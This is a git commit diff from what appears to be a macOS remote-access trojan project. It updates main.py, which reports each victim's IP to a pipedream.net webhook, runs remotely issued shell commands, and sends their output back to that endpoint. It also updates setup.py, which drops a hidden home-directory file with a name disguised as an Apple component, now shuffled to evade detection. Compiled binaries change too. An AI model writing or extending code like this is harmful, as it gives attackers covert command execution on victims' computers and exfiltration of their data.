summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 00:41:32 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 00:41:32 +0800
commit322ec993a576ec971a4cb6dcf9944e980f6a4d38 (patch)
tree3c4eaa4213671a9ab045785775b4aafbd4b934ab
parente1cb895f0e0ecc8d2154b9b3b29a49aedab3a26b (diff)
updated
-rwxr-xr-xdist/mainbin4299440 -> 4299456 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin4299440 -> 4299456 bytes
-rwxr-xr-xdist/setupbin4299280 -> 4299328 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin4299280 -> 4299328 bytes
-rw-r--r--main.py18
-rw-r--r--setup.py5
6 files changed, 13 insertions, 10 deletions
diff --git a/dist/main b/dist/main
index 2232a60..0adf3c4 100755
--- a/dist/main
+++ b/dist/main
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index f7f5b90..64d26bd 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup b/dist/setup
index 39605d9..e0c20de 100755
--- a/dist/setup
+++ b/dist/setup
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 93b389e..bce16b9 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/main.py b/main.py
index 8ee2217..80ee25f 100644
--- a/main.py
+++ b/main.py
@@ -8,9 +8,9 @@ try:
command = ""
ip = get('https://api.ipify.org').content.decode('utf8')
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"new user: IP: {ip}")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"New client IP: {ip}")
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when init")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) when init")
pass
while True:
@@ -23,7 +23,7 @@ while True:
sleep(5)
continue
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)")
continue
except:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
@@ -35,7 +35,7 @@ while True:
try:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Pong!")
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when replying to ping")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) when replying to ping")
except:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
continue
@@ -44,7 +44,7 @@ while True:
try:
chdir(dir)
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) while changing directory")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) while changing directory")
continue
except FileNotFoundError:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: cd: No Such Directory")
@@ -55,9 +55,9 @@ while True:
cmdout = system(command, shell=True).decode()
if cmdout != "":
try:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: {cmdout}")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ```{cmdout}```")
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when trying to post output")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C) when trying to post output")
continue
except:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to sent output")
@@ -69,8 +69,8 @@ while True:
try:
sleep(0.1)
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C)")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C)")
continue
except KeyboardInterrupt:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C)")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Client tried to SIGINT(Ctrl+C)")
continue
diff --git a/setup.py b/setup.py
index 36ec870..fbf6c55 100644
--- a/setup.py
+++ b/setup.py
@@ -4,8 +4,11 @@ from os import remove
from subprocess import Popen as subproc
from os import system, remove
from sys import platform
+from random import shuffle
-filename = "com.apple.com.user.core"
+filename = ['com', 'apple', 'com' ,'user', 'core']
+shuffle(filename)
+filename = '.'.join(filename)
localfile = f"{expanduser('~')}/.{filename}"
try: